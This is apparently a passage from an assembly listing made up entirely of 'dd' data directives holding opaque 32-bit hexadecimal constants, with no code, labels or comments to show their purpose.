dd 0B217EA1Eh, 3A434689h, 5056A964h, 0DAE69520h, 0E1AA7E8Eh
dd 0B3C77B1h, 0BC94C2EDh, 49F9C7C2h, 0CF886ABh, 7829226Dh
dd 0B55359h, 39080A60h, 30CBAE6Dh, 99A7656Ch, 6B141C4Ch
dd 0C8A826DDh, 20329044h, 14BA999Fh, 153A0EC6h, 955198BFh
dd 0B4DD6251h, 0A7D77C17h, 89FB8B53h, 6927B2Ch, 6196D9B5h
dd 9E97F1Ch, 9BDC3726h, 0EB6320C7h, 0F9F58571h, 0CA23896h
dd 8CC0D10Ah, 7D8A6E7Dh, 0AA089873h, 0BCBB24h, 3D4F975h
dd 115A93D6h, 4599DB32h, 960D762Dh, 49D17B26h, 85FE7DCEh
dd 5BE3B548h, 0C1B893ACh, 42476311h, 0A6F56E71h, 0D07CD488h
dd 72DD59A8h, 84F180A0h, 261FDF4Ch, 7F977D5Fh, 90E08D08h
dd 0EF8838DBh, 0D98298E4h, 0D4A008DBh, 9E90C0BCh, 82555D58h
dd 0A237FE78h, 4BEF22B9h, 6A834BB5h, 0A6759692h, 9D1566ACh
dd 2D9B3CCEh, 0EAB9CFC5h, 0E367CB53h, 9E8877C3h, 0EA48C486h
dd 3F0D5B28h, 255E17A1h, 9B75E7BCh, 0F9460073h, 9BFA5129h
dd 0D796F520h, 0B5CC419Ch, 782C4401h, 5CD725DAh, 953E38B1h
dd 33E7DD07h, 105B1221h, 0E15B6BCAh, 0BD67A971h, 23FA25F7h
dd 0D802322Fh, 0E21265B7h, 3C4E90EEh, 0DF944169h, 5346187Fh
dd 8CAC95B0h, 0E676392Ch, 77EDE140h, 4796BE4Fh, 92EAA484h
dd 51CE2469h, 1FA9D90Eh, 377022Fh, 8EBC2FA3h, 4FEDBFABh
dd 9FAABDB2h, 0A7E77C7Fh, 28DD9FDDh, 828FFEBh, 29BEA599h
dd 0E02FA824h, 9E5F5FE6h, 8AF1D296h, 99B021C4h, 3A992CBAh
dd 6B258889h, 7158BE36h, 8FEFEC88h, 0A29BC6C8h, 5A6A2782h
dd 0C40733B0h, 0C00DCC47h, 560EF8D0h, 316D5E33h, 46EFD939h
dd 0F29B3CD6h, 0F90F6B78h, 8ACC9866h, 75D74104h, 39042D92h
dd 0A01F69A0h, 0A0F27299h, 3C8FE48Bh, 0F25774F4h, 0A34C95C9h
dd 6E73ECA1h, 7926433Bh, 883DA0FBh, 7A4AC75Eh, 894C4791h
dd 2499B2FCh, 0AEF121D0h, 3B6DE1C8h, 4EB1AFB0h, 0EA965655h
dd 0A7393983h, 3556D34Eh, 950AFEFAh, 1638044Ah, 72D41387h
dd 245C9FF2h, 0B04A9DAh, 0FC371CB2h, 0F2C47F77h, 0ACBAAEC8h
dd 0CC9C4B5Fh, 544A4511h, 444EE714h, 652A0A34h, 0D6B6945Eh
dd 6AC627FDh, 6E9B9D51h, 62CF99BEh, 50733376h, 48D49873h
dd 34F19CF4h, 7B081649h, 2F15BDE2h, 8DFFC91Eh, 81F94455h
dd 99BCAEDh, 69AA7713h, 660465E5h, 32095F61h, 0A18A8FD5h
dd 31C3AD48h, 0C3027F16h, 451C8D25h, 31156C91h, 53143B22h
dd 8656E40Dh, 52EE710Dh, 836CC97Ah, 477B1FEh, 0CC4E7AFCh
dd 80E71D65h, 0CDDEE5F4h, 8628F3A7h, 372A5F82h, 49CBD16Eh
dd 33E4161Bh, 10D415B1h
dd 854C5F2Eh, 0C19B545h, 0E767FEE6h, 8D403465h, 1E2FCBD0h
dd 3B38846Fh, 0D963F8BBh, 0E24B2520h, 95ADF168h, 0A8282CF6h
dd 3E8A1BFBh, 1992594Fh, 860A3264h, 0F4987941h, 9A61D803h
dd 50AD430Ah, 0AFA8521Fh, 98914B1Ah, 7A2BB572h, 40B19209h
dd 15A90583h, 0D6997519h, 246A374Dh, 0CE438C7Bh, 0B54F1C28h
dd 0E0873049h, 22AA476Eh, 0B84EBDB7h, 3E47C60Ah, 485963B7h
dd 0B45B555Ah, 0D94F50AAh, 2E5AD713h, 8C122BDEh, 4AF2E77h
dd 0ED98AE97h, 178A18C1h, 6E167D30h, 0B069A5B2h, 0D0B3BA44h
dd 3C0B1E3Fh, 851331B4h, 3A73F380h, 32A0D607h, 5C5C8C8Dh
dd 0E57F5134h, 98842C10h, 6C4D158Dh, 0DFD68594h, 0D9486A45h
dd 6D8F981Dh, 8C44E738h, 8615C9B5h, 196E5E43h, 897D1D16h
dd 61EB13EFh, 7D8BDCC2h, 0F290FF6Dh, 0C4A2E27h, 2F53DBh
dd 6A00EF52h, 0E0DAE83Eh, 9D999E5Dh, 0ECE318F6h, 0C4FB4A02h
dd 7D1F4006h, 32046ADEh, 9A3583EDh, 0FC0C5568h, 0CFA6AB13h
dd 0C3BDD49Eh, 5F32090Ah, 8045FBF2h, 8DB2FA5Bh, 0EAA9C65Bh
dd 7E774DDFh, 722FE8A4h, 9F6E1F7Bh, 0B6872389h, 5C63A676h
dd 57573712h, 2449A23h, 47DE6776h, 0A63D375Ch, 46F5D23Ah
dd 0BF16581Ch, 5D116C14h, 0ADED739Ch, 79F675EDh, 3F96617Ah
dd 680C0E37h, 0E47BCB6Dh, 0CDAF6125h, 0A08EF27Ah, 1AEA7820h
dd 0D7667F81h, 43F6120Ch, 0BE648D26h, 92280975h, 71DE72F7h
dd 0FFC4C7BDh, 14087FDDh, 1E88F91Ch, 0E256DF1Fh, 0CC545777h
dd 5D3ECB15h, 0C7FB2B00h, 0B9AE3349h, 64BE3611h, 150CB0C0h
dd 0B491E03h, 61A8ACD3h, 0D462583Fh, 2045A460h, 68A22319h
dd 0BB93AA1h, 7D7519F4h, 0EEBE323Ah, 0FF63A877h, 0F19697C1h
dd 6C69C782h, 0A331E0F7h, 4161887h, 10F604A1h, 5CA0BA42h
dd 1A422E58h, 8F2386D5h, 0BC26ECC7h, 4097B9Fh, 310F82D9h
dd 0C9097E3Fh, 7FF77A1h, 0DF29E8B4h, 7AD900FDh, 0EAB35AD9h
dd 0C4DCC583h, 7BEEF690h, 697AF1DFh, 29D3D6F5h, 5FC903FEh
dd 6B929896h, 9964B7E1h, 0C5E9C09Ch, 0A79D84A1h, 0A093A4B1h
dd 9891DBDBh, 1AA57013h, 3020592Eh, 7687E2EBh, 19ECC13Ch
dd 0DEF1D15h, 9B50F906h, 5655CC8Ch, 0BC137C9Dh, 1631FB96h
dd 56267658h, 0C6BB5193h, 753D9752h, 6BCA5104h, 0EAD33B2Fh
dd 95F077BAh, 20FCCF0Bh, 8E9AB083h, 4B55748h, 3B9193ACh
dd 0ED835D33h, 38163617h, 0E578B34Fh, 0BB6B7F47h, 238B8481h
dd 7D8A243h, 0F99D1EE1h, 0E6CF6DC9h, 0F65889FFh, 0F9C04875h
dd 0D869DC7Fh, 87A32EAAh, 19A74944h, 0D8CB7D4Eh, 0C72A4F65h
dd 7F895DFh, 0F756BB4Dh, 49BE420Ch, 4FE75F7Fh, 0D4A15EB6h
dd 0FD9D341Eh, 6A1CC114h, 60EA1FA3h, 0F95BFE27h, 63708AB1h
dd 561349A6h, 0F4407B29h, 0DCEBABEh, 5021CEECh, 15EC28Ah
dd 634B6792h, 0A7202239h, 0E3E7E4F6h, 0C45F3C4Dh, 383D5B96h
dd 0BAC45DC4h, 27A4AEEEh, 0A0E9A48h, 64A2D887h, 2928E242h
dd 2BC7BF90h, 0A9882B08h, 73C4BC15h, 0E6789A10h, 0FE6D5C5Ch
dd 47728A37h, 0D32048A9h, 54A23E6Fh, 8CAA2E09h, 34AF5DDBh
dd 0D249CB26h, 0EE14C955h, 0EF99BCBEh, 0C135FA94h, 766EE0E1h
dd 0EC0A610Ch, 7841EB67h, 165A9F93h, 0C964D081h, 0FBC2FFE3h
dd 611419F8h, 0B605BCCEh, 0F4C767C6h, 7F772F55h, 7854A741h
dd 9B0D3E62h, 2BA09400h, 0CB837579h, 823AAB22h, 0BDFBE64Ah
dd 0BAC0A850h, 6CB53FD0h, 3CB95B9Ah, 3A9F088Bh, 9B72B75h
dd 0A280CFCh, 9DF79982h, 0E120083Ah, 0C7AC3A60h, 209D9656h
dd 0F606BC59h, 9554E3A6h, 8C14A2F0h, 9A713F15h, 0FFF05371h
dd 62404B9Eh, 0C4285CEFh, 9B752E3Bh, 0F11FBFBBh, 0B2543CAAh
dd 0FD39D71Bh, 9927EEAEh, 3B8BB009h, 6A037C2Bh, 2A0D35ADh
dd 115726F1h, 0EAED75B2h, 0CE7A48Dh, 0DAFCCEBBh, 3AB6C57Ch
dd 695E9C07h, 0A7152B05h, 4D2A733Fh, 0A1954E45h, 21640D69h
dd 876B9E6Eh, 0C1F1DBE2h, 13AD5EA9h, 3757C33Ch, 92347A7Bh
dd 1E9B1CA6h, 4A3B5E93h, 4EBA6E54h, 7BA23ED9h, 1ADF06B8h
dd 0A7377BE7h, 9BD7C88Fh, 0BFED13D4h, 80C58DFEh, 61BCAE5Ch
dd 88F964FAh, 89E689F4h, 82075C01h, 4911EBD7h, 5A2F7D6h
dd 1F767417h, 7C1AF2ADh, 0C009B6BAh, 71C1B14Ch, 0E90350CCh
dd 0D0E67BCCh, 0E719632Ch, 38EBC1D4h, 242486BAh, 78F4C339h
dd 0AE98479h, 52E5B0D8h, 96BCF8ABh, 0E0A9BBA6h, 0AE637033h
dd 8409EDB8h, 36661964h, 4F2181F9h, 1F27CEE1h, 7AD31F0Fh
dd 1F02E66Bh, 13D8E29h, 3423EB46h, 0E5F898E9h, 0B493D5AEh
dd 3653B9FDh, 6F63A57Dh, 793A16Eh, 9F30B29Dh, 0F531A87Fh
dd 0F7EAACE7h, 491C4EDDh, 62244246h, 0E8CBE63Bh, 2E72B38Bh
dd 34CCE289h, 0C0EC9182h, 11C49921h, 480A62Dh, 8264F929h
dd 3F89D6E8h, 0B2AAEBB5h, 0D98C4359h, 0A15A2EEEh, 342FEDDCh
dd 5EDF3F0Ch, 2FBA6D7Ah, 0E489E745h, 6166FFCCh, 981BC2A8h
dd 9C7492C6h, 73727C99h, 6104AA4Fh, 0F684315h, 99E28FE7h
dd 9BEC6C6Fh, 6A051BCh, 3CC695E6h, 0B8CEA323h, 5414DCFBh
dd 587C0D24h, 0C44D4A9Bh, 27FFC76Ah, 64909537h, 3F092431h
dd 1B5137D1h, 0C0844A64h, 0B2E20553h, 0DB42CBAFh, 0FE118B74h
dd 7FDF07E4h, 7FDC5841h, 0C28B080Eh, 4A3225F9h, 0D539E8DDh
dd 1ACDC4h, 74514586h, 7699703h, 0C3F19159h, 805142F4h
dd 0C9DF5928h, 0B3955654h, 0EFE6B1ADh, 6058A1C9h, 5C900567h
dd 0C4E95B35h, 7837B6D2h, 0A52209AAh, 857513D4h, 255DD2B0h
dd 5FE629DBh, 75F1DEFCh, 0A0CFC407h, 0C51FA2D4h, 0BF27889Bh
dd 0EC538613h, 9BCA83EFh, 57CB1CA0h, 0D556A7D3h, 0FBC54FE1h
dd 11DDC780h, 105FFACAh, 25950DE1h, 49B3B542h, 4DD5E678h
dd 9227678Dh, 0A8ABEBD1h, 0C77434F0h, 64865F11h, 51C6EF82h
dd 0A232EFC5h, 1DEEC5F1h, 56C6F594h, 8F996AD1h, 71600C64h
dd 3A27DEF0h, 3F526F05h, 2A5CAE1Eh, 0C724122Eh, 3CB696BFh
dd 5959FC36h, 86AB0920h, 9F6A3A6Eh, 8606DA96h, 248EBEAEh
dd 8102A784h, 6E06CDC1h, 174F265Ch, 45280629h, 5C01996Eh
dd 2E9D3D70h, 3A797A19h, 3287EFE9h, 70EB8C26h, 9266A5FEh
dd 0EB497A63h, 0D1634641h, 7084A45Ah, 7CCD9C1Ah, 31BE845Fh
dd 3F3AA6E8h, 11C0B514h, 735283B8h, 7D316998h, 72A90715h
dd 0B4B1360Eh, 1D24B4A3h, 55ADDA5Fh, 0EECED5B5h, 909E7F90h
dd 1FDFF093h, 1CE3581Ch, 95DA2C07h, 0F401CD1h, 0E100AF7h
dd 55E05B56h, 0B2B4D6A9h, 8EE98F58h, 999F65FFh, 0C26DC1C1h
dd 3FE4B5FAh, 924DB156h, 64B4C55Ah, 17CE334Bh, 731BE0B2h
dd 3404A6C4h, 7B8B7224h, 0CA0CA39h, 0FB412873h, 1248E770h
dd 1A410267h, 63A6C559h, 0C94FF68Dh, 65AC2DC4h, 0CE6A2B06h
dd 2DD7F364h, 0E05253AAh, 254B6A5Dh, 0F3AFDC81h, 0E98BD899h
dd 2A038066h, 0E63C0D73h, 3DC4B439h, 0CEFECD6Fh, 0A64C19F6h
dd 37BCC571h, 0D5EB73FCh, 93AD7285h, 2CD3693Dh, 0F0363F2Ch
dd 1D4CE411h, 8A14F26Ch, 0DF6DB7B5h, 0FC4CA994h, 30F3D8C7h
dd 6E0011F3h, 6321492Fh, 8A3F82DAh, 522B0B95h, 0DE930FD4h
dd 0A75126EEh, 8A91542Eh, 4553B8C3h, 0DE15189Bh, 35891575h
dd 20696C59h, 521E8ECFh, 0C0AFEB6Ch, 822CDAD6h, 3F1A7A22h
dd 7F1C599Eh, 4C24E91Dh, 0B7BF40FBh, 89020A34h, 50076E91h
dd 176F330Fh, 0CF6D4AABh, 685F4672h, 0EB72F740h, 9671FC50h
dd 0E6287FD1h, 44866F70h
dd 90203DC4h, 9CB1023h, 0FD41A61Ch, 2CC59146h, 0B3F801F3h
dd 8EA1A4D8h, 4075787h, 2EFEFA85h, 4BE63AD7h, 0E0385789h
dd 0EDBDB43Dh, 0DFCECB68h, 0D2CE40F8h, 16ED7A6Eh, 919907F4h
dd 2F3532D4h, 672F9B5Bh, 0C4EF244Fh, 28928F67h, 2AEE48Ch
dd 94F24215h, 0E8DAAAA7h, 1D5B087Bh, 9E0A4401h, 5087B7E5h
dd 0FBF1A25Ah, 0B8C61D18h, 0AA1DF1A5h, 21094D3Ah, 0E8949C85h
dd 0B27DECBEh, 3F9E4AC6h, 8264E4DDh, 69F43816h, 0BA8EA5C8h
dd 10560D88h, 5D89379Eh, 0DFCA0E9Bh, 0BB4372C1h, 6524BDDEh
dd 5D6D63C9h, 141CBF0Dh, 0EF0D2C9Bh, 0BD3845ECh, 301C5EE6h
dd 716BF772h, 528C1B75h, 7243EB75h, 869CE7ADh, 1FC174A9h
dd 280B9700h, 1B23AE47h, 7BF0ABDh, 0D0C23A36h, 16DA98A1h
dd 6D42C0B9h, 0A7B872E6h, 62684D26h, 0AFE2805Eh, 0B4E3068Bh
dd 0DAAA12FFh, 0D5A8BD59h, 0D3957DEDh, 0CE9905E2h, 89211F47h
dd 34BF09DEh, 0CDA81CE9h, 5474C004h, 32DBA89Bh, 22815568h
dd 0A7022C2Eh, 60B5E85Ch, 0E11C1494h, 0B0D11F9Dh, 799EE07Fh
dd 70FB5DA5h, 0F33FECE1h, 22DCC746h, 6DB8BA8Bh, 36BA7E53h
dd 9E0A283Eh, 0C3D99E6Ch, 247FFEDFh, 64453F0Ah, 44F3BF53h
dd 368C4C26h, 72B5498Bh, 376CEF53h, 444B1451h, 933AE4CFh
dd 177D53C5h, 3AF1BF92h, 0D97E34FAh, 0EA3661F4h, 67A49F03h
dd 3EF3E9CFh, 0C9154B2h, 9B603E0Ch, 0C740BB62h, 0CF5AD0F7h
dd 0CA49AB72h, 2573A775h, 276FB544h, 5A6F3AECh, 564B7B38h
dd 0ABF34A66h, 73489A9Bh, 0EEC7482h, 0F1333A3Dh, 0D5ED23B1h
dd 41A5B077h, 0C503056Dh, 43DC1AD1h, 47C76FEFh, 4FC5F79Dh
dd 310EF058h, 17A0B06Ch, 5306CFD7h, 0C61FA0Fh, 0FDD29A48h
dd 81FD946Bh, 87F1DCA3h, 6811B170h, 320749EBh, 0C34ED885h
dd 5C9C7981h, 0F820C96Fh, 0C9F4F82h, 0CB9A0D6Ah, 0CE707EB7h
dd 4C7F060Eh, 440856F4h, 3FE3AF8Bh, 0D86919FEh, 8DEE5268h
dd 463C43C5h, 6FAE309Ah, 0CDD42579h, 0DCB3946Ah, 90A9ECEDh
dd 0A72154FFh, 0DE715C7h, 2ED206B4h, 5877B805h, 4553529Fh
dd 136515C9h, 713CF7AAh, 4553E900h, 7024F089h, 0DD752F4Eh
dd 99E02E8Ah, 0A1DE727h, 6A8A247Ah, 0A3194087h, 7B62432h
dd 1721F7E3h, 0E9E0E8DAh, 52A06716h, 35EC99FFh, 38B668B8h
dd 49731855h, 0AAD1A9EAh, 97354184h, 0C557B6C4h, 74BF3EBBh
dd 75621A2h, 4AC3DE9Ch, 9585B27Eh, 0DC1EEE28h, 0AF975E9Eh
dd 37828453h, 4EE5BD92h, 89EB5471h, 0E59EB2FEh, 0FFEAAD6Ch
dd 7DE97596h, 799FB124h, 56A4C82Fh, 0B789E641h, 2A65A8A8h
dd 5297F708h, 72940EAEh, 6BB0D5h, 0C67AA734h, 61620393h
dd 0C0ACF6E3h, 0CB7A003Ah, 674873EAh, 4B86797h, 47235EFAh
dd 85473031h, 0E1553CFDh, 1E78ED9Ch, 6558F058h, 8BDB9FADh
dd 9AAA511Bh, 0FA7CF018h, 0B5A2D52Ah, 727ADB22h, 4DD7C2F5h
dd 0B978161Fh, 770129AAh, 0FBAA8BBEh, 78AF4C25h, 2B62FDCh
dd 0B4AD6616h, 0BE18660Fh, 4645DE9Ah, 7F4EE8DBh, 80F8C7B0h
dd 90AD2646h, 0A8F79155h, 8C04F5Ch, 0E4D6A4BEh, 0EECBFB83h
dd 0DA212E6h, 0E1865457h, 3EBF57Ch, 0FFBE3355h, 5A2B537Ah
dd 4CF55743h, 0D9856473h, 0DD3BA294h, 0B50947FCh, 9F133CA7h
dd 0D6F2D3A3h, 0A2418919h, 0EB70FCDCh, 0F6D2B0BAh, 0CA475D68h
dd 2B516AFBh, 7CB78E1Ch, 0BC564355h, 0E30D4110h, 0FD85B379h
dd 1DEEB67h, 0D924073Ah, 2C24240h, 0CAF2E6ABh, 5C86E76Bh
dd 0D50643FBh, 0E86508E2h, 9EBE7589h, 3D50014Fh, 930BF13Ah
dd 0F21F928Fh, 96774BF8h, 0B1C5D21Fh, 0C1F23C48h, 2CF69647h
dd 10B7E0A4h, 0A294983Fh, 47815AAEh, 0C43EB3B7h, 39346ECEh
dd 8144B587h, 71B98429h, 23CD6DC5h, 81C6B90Eh, 0B2BC2C82h
dd 30754B69h, 6AD84224h, 95CCF6BFh, 78D308FFh, 0EBAED1FAh
dd 0ECA41897h, 331CD142h, 86926434h, 2A7C2B91h, 70E13C3Fh
dd 2036B682h, 21446D88h, 8999C96Ah, 6066B462h, 0D29CF551h
dd 0DB881671h, 6E32AF4Bh, 27F4096Dh, 5D241D7Ch, 1B4D6667h
dd 989A61FBh, 0C4B8B52Ch, 4297542Eh, 1EEB01E5h, 6B2347E9h
dd 0DDFE7394h, 3C4C3251h, 0E0D86346h, 6E9DDBABh, 9B9FDD82h
dd 675F0243h, 1E240A93h, 27E3F2CCh, 3A2109C1h, 4EB9F039h
dd 27C06653h, 56FC88D2h, 8B502D27h, 8245873Dh, 859608DCh
dd 0D7547C2Bh, 5F08FE96h, 0E40BC90Fh, 0F24B52E7h, 35DD9551h
dd 4C427B17h, 1C0C3AB7h, 0CECDAE0Ch, 78AB5128h, 13BF1D65h
dd 34051458h, 547487h, 0A69608B6h, 76985631h, 57005B70h
dd 0C33AF733h, 79762B4Dh, 15CBB0F5h, 1AF86BCAh, 8E44E73Ch
dd 0EA217035h, 0B342848Eh, 63847AB3h, 1710C8C3h, 52FB9D6Bh
dd 4D1CCFA2h, 0F0C11FD2h, 48E45EECh, 63CA8CD2h, 9DD30931h
dd 6F800C73h, 4934EB1Dh, 1232782Fh, 2271B24Dh, 0A37C836Fh
dd 3134756Dh, 0A569326Eh, 4A084037h, 0F46B3979h, 948FF6A4h
dd 6A7085F3h, 5B668E30h, 0E1B7F8D8h, 58971432h, 44D061C0h
dd 3F83350h, 5EC2DDCBh, 0DD47E314h, 9D694A2Fh, 0B43224AFh
dd 0C7D47F31h, 0CCE39D6Fh, 1050B277h, 0D67B299Dh, 0C0E91D56h
dd 0AD17B82Eh, 0D0148AD4h, 128A7235h, 78B7E016h, 0C87A4AE0h
dd 3D05D93Bh, 0FA1E1A0h, 0AD67FF47h, 0C1BDB7C4h, 22E27599h
dd 999831A5h, 0B1972376h, 6F1AD670h, 87EBFA50h, 0FA136404h
dd 278F81EDh, 5B8B4135h, 82BA007Fh, 0F69961Dh, 224F9772h
dd 66FFB0EBh, 0A63F890Fh, 0DFFA1EF4h, 8F737BDFh, 98971482h
dd 948B5407h, 0AB8548Fh, 5EAF25ABh, 84539A03h, 0BF0830DDh
dd 0A1D7A17Ch, 807F7ED0h, 5B975030h, 135D5E5Ch, 3955A4F1h
dd 0F1C0A74Bh, 5AFA0044h, 85256155h, 0C4014DD1h, 5BCF0287h
dd 28F81C84h, 769A94C1h, 98F92A29h, 72129Dh, 27484176h
dd 49E8E1BAh, 59F4B542h, 0F600F63h, 0CEBAF4FAh, 0C9F30E7Fh
dd 0A1DB453Ah, 0AEEB137Ah, 80B909CAh, 0C5C01369h, 8D78CCBCh
dd 1F960670h, 0F3775C50h, 218EF175h, 73E6B5FBh, 1E5EFC9Ch
dd 0F37433F0h, 0A3563B92h, 9F1CE9FFh, 55AD927h, 0E313A42h
dd 0C7FC37E5h, 0C303F878h, 0A86854CBh, 5211415Dh, 3739C44Ch
dd 8BDBEDC2h, 4F5290EEh, 851CD5D1h, 0C36F96C9h, 5E258773h
dd 0D69113FFh, 218868E3h, 9EF534B4h, 0BD32CD2Dh, 0F37D00C9h
dd 5FFD16FBh, 4FA2E187h, 6F67F9DAh, 46594100h, 604C0814h
dd 2F7E779h, 0E8D24F0Bh, 8E3EF5B2h, 5733D61Ch, 0DDE87h
dd 109B998Ch, 6A2D007Bh, 0A3F3AB89h, 0BABE7786h, 0E274BB9h
dd 994B75A2h, 5D7A74A9h, 97B01A35h, 0A3FFAC6Bh, 147AEFA5h
dd 8C28605Ah, 2E3F237h, 5D32A91Ch, 0D58B714Bh, 0A353BAD1h
dd 37473377h, 0A50A8DECh, 3B401F2h, 8BDBDBFFh, 0B17D0413h
dd 1E8B190h, 6D507C56h, 0FAC0D74Ah, 0C121C39h, 7A57B61Dh
dd 0B97B49D1h, 3AD1AEFFh, 0D0B71D6Fh, 0CCE6D5A3h, 0E9997926h
dd 673E4977h, 0F8CD1706h, 14743177h, 766AFB5Dh, 944043CEh
dd 7ED2B900h, 0DCE68136h, 0D19F0BA8h, 91546E8Ch, 28B6FB15h
dd 0B5D39E45h, 0B3762BD8h, 6D2640Ah, 0C196CD96h, 4ACBBA8Eh
dd 96317876h, 0D55E1D40h, 28D2230h, 0BECF842Bh, 6BE0674Fh
dd 0D08A2C0Fh, 5C547C01h, 64CFED1Ch, 5230A85Eh, 478A49BAh
dd 47F8D387h, 0E35CC49Ch, 95D0B31Eh, 66EE99CAh, 0DE66FB07h
dd 0F216676Ah, 76A07AEFh, 53E01FF0h, 18A77E73h, 7D5ABF9Ch
dd 0D6142F49h, 0EA2CF602h
dd 629B2ACEh, 0EDBECAB4h, 0E45F5D7Ch, 0AB360Dh, 0C339DEFAh
dd 4DD9211Dh, 8F74D01Fh, 8098EA02h, 0D9196627h, 7FC52D4Fh
dd 51582282h, 25BC4877h, 0C9F9D269h, 27FB8D31h, 1AB10ADCh
dd 0E1D230Bh, 0D7791664h, 0A029D6AEh, 0D9ED5833h, 23F09094h
dd 8224E6F4h, 33DCC7FCh, 22753560h, 22282BFCh, 0F0F25081h
dd 0C7ED7A0Bh, 0BC6FFB20h, 0D5D95E46h, 96D56D64h, 0AC49B749h
dd 61642453h, 0B2A22152h, 0FAA3254h, 6B2C2570h, 0B4E9C130h
dd 0D8D80028h, 0CBB86EB1h, 0F650C336h, 0B47ECC07h, 0D88DF31h
dd 9505E626h, 0A3B865Ah, 45B0D3DAh, 51D3386Ah, 103D2E85h
dd 0AB884974h, 5508B274h, 5CCD9CABh, 9E5C24DFh, 25018458h
dd 0B454C053h, 791A0855h, 6251B40Fh, 0F279BDC8h, 0C511F64Dh
dd 0DE45DC5Ch, 5BCC3542h, 0C806C982h, 73AB9F46h, 0A7AF899Fh
dd 28D71125h, 0B8ACCEDDh, 0DBDE57B9h, 0D4B7E55Bh, 0BF48BE8Fh
dd 6127E197h, 1604400h, 688A1851h, 17CF294Dh, 96B790FBh
dd 8CE4F33h, 0F936BEEBh, 4B19654Dh, 524E7892h, 304319F6h
dd 0CE8D2B3Dh, 6DC28859h, 0C5AFC223h, 7324EA53h, 0FD0AB5CFh
dd 5980FE1Fh, 0E80AAE0Ch, 4EF0FABAh, 21E26969h, 5F6067D2h
dd 2A03037Bh, 0BCC33BA1h, 66B2FDDFh, 0BCFA41D7h, 3B1258FCh
dd 9EA51C20h, 43C61D45h, 0A393128Ah, 5309A04Fh, 0A6659198h
dd 582F9838h, 0FC02A5BFh, 82E88CEh, 60C6D9B0h, 0FCC91DEEh
dd 352BA440h, 5D6B1570h, 0EE5856B9h, 0CD878F20h, 2BF3FC1Dh
dd 8F68625Bh, 0D38B582Ch, 2E4ECE6Ch, 57029EC3h, 16380AA9h
dd 54F62F6Fh, 0B7AF5DBBh, 0F341208h, 0AC995046h, 0F7DD6037h
dd 5F6F2B18h, 0D149300Fh, 53F613C0h, 0BDDE3370h, 0C3DB7625h
dd 5623AFC3h, 8EF704BCh, 0B81F0CE0h, 3D64045Eh, 3BEAD8C1h
dd 44D40E01h, 7FD3BE44h, 0DC75D0D8h, 680AD013h, 0BE42C777h
dd 0DA393159h, 5E0B9464h, 0A0A6DF90h, 4844790Eh, 7E37E9F5h
dd 501C476h, 0CB297AA0h, 5E9462A4h, 49A69013h, 1185FF48h
dd 86BA24BBh, 0E3FFB288h, 0CDCAECC9h, 4AB79F40h, 0DD0EF76Eh
dd 0A31C5B92h, 57F4F984h, 5CF71FBAh, 6B35E5B1h, 5E57C02Fh
dd 6721F63Fh, 0FE8C6F7Dh, 0B2BECF5h, 0D9A56E1Bh, 2246197h
dd 2320399Ah, 9A18428Dh, 82957E9h, 8F5E584Bh, 6B40D27h
dd 1E0FFB3Eh, 475D29F9h, 860864BDh, 0C98AE3D0h, 0D77DBB0Bh
dd 7E18ADD3h, 0E2519B4Bh, 0ECDF9083h, 66AB5649h, 0EF65FE84h
dd 138F9AD8h, 6AF359Ah, 0CB5A2F16h, 6225FF20h, 563BB4F1h
dd 2DFBF88Fh, 0B0F9596Ah, 0D4ED929Bh, 0F13EAAF8h, 0EA6F243Ah
dd 0EB538995h, 0FFE3BF0Eh, 0A2405BB8h, 0BAFB3AE4h, 2F011AD0h
dd 0EA8E6A42h, 6E5CC45Dh, 543C2EFh, 0A27DA351h, 807E4C35h
dd 0C182B29Eh, 0FAF0C2B1h, 0A89E4D84h, 58A518DAh, 1D69C4FDh
dd 6A322E75h, 0E3BED0B6h, 5D9BD4E0h, 0DC0CB214h, 36E8BA1Dh
dd 424B335h, 5BD79BF5h, 78041C52h, 4A68CF0Ah, 0AA37FC59h
dd 0B308B14Eh, 0E89FCD4Dh, 3F286D95h, 0FC729E3Eh, 351AB6F0h
dd 0C34E564h, 0F0AD721Fh, 0BB5EF80h, 0A24008AEh, 4E376EF5h
dd 7D6F15BAh, 65B7F752h, 0FD274D55h, 9B6EE4C4h, 245E3B42h
dd 964A138Dh, 6CE6C55Bh, 3E77C7E0h, 0BAEE029Bh, 57986349h
dd 0B714402h, 64BE5EA4h, 826D4C84h, 0D734C74h, 0F74EC274h
dd 0A7055C12h, 79F95FD2h, 300C86BFh, 0E2479302h, 1DC4B5D0h
dd 991CF7D4h, 0B9B9AB59h, 0AADE94E9h, 0B781DDF0h, 0E75B016Dh
dd 6119090Eh, 0F4EDCFF2h, 0A0DA80A8h, 0C7A80C77h, 0C5AD7153h
dd 0C8877403h, 9CC17A93h, 0AFD0DE78h, 5689D93Eh, 0F1DB64C0h
dd 0BC4141ABh, 988483C9h, 1984FA11h, 4E2E9091h, 0D433F67Fh
dd 0DA55A06Ah, 0B7B2B644h, 4502C66Bh, 9E862740h, 5D9D41F3h
dd 0E4243F96h, 0DC92370Ch, 3663D0FDh, 0D2AFE774h, 0ACC01593h
dd 0E5C87339h, 12F45E01h, 0EC7FA41Bh, 0D1D9944Dh, 0C929BA84h
dd 0F0C7152Fh, 7E26F38Eh, 38828126h, 729387A4h, 82CA167Ch
dd 0AC697754h, 358394EEh, 17B39EE7h, 58CBCA3Ah, 432EFAE4h
dd 42BC3C6Ch, 0DB4AF3EAh, 9D3E7872h, 11E34A51h, 0CDEE4728h
dd 0F582C818h, 0A5A45012h, 0D8B74B51h, 4002EE64h, 4465E7C0h
dd 0CF954ABh, 14DFC71h, 113F1266h, 844D26A8h, 0BDDB6EEFh
dd 8C69BFC7h, 77665165h, 0FBDA3912h, 7320384Eh, 0B87D72Dh
dd 53E151CBh, 4149D4Dh, 49EE2956h, 0C9109D42h, 91B1D849h
dd 0EBEE0FD2h, 0C8761332h, 7B7D47F2h, 568B93C1h, 0C4437AF4h
dd 6FDEE0A7h, 8EF544A4h, 0B484B707h, 19B67F47h, 0FBA71773h
dd 0AE9D03B6h, 0AA877723h, 8FB36A7Dh, 0FF2D4EB3h, 0C40F294Bh
dd 8346FD46h, 88B8BBA9h, 4CADB06Ch, 0A47FD454h, 0F327E376h
dd 0F97BEF4Eh, 56810D70h, 0E4EC12D4h, 8B69C362h, 0B6328297h
dd 0F4486533h, 0C6412059h, 0BF093961h, 0A998C004h, 51ABB458h
dd 7C0191CFh, 0BD4A537Fh, 0EF5FC2BFh, 6F04D26Ch, 6417EEA7h
dd 189226EAh, 0AE092D15h, 0C10832EEh, 98D9C0F1h, 7B069296h
dd 25F127B0h, 5EC2CFCFh, 370112B9h, 1564625Ch, 9AF9C1BAh
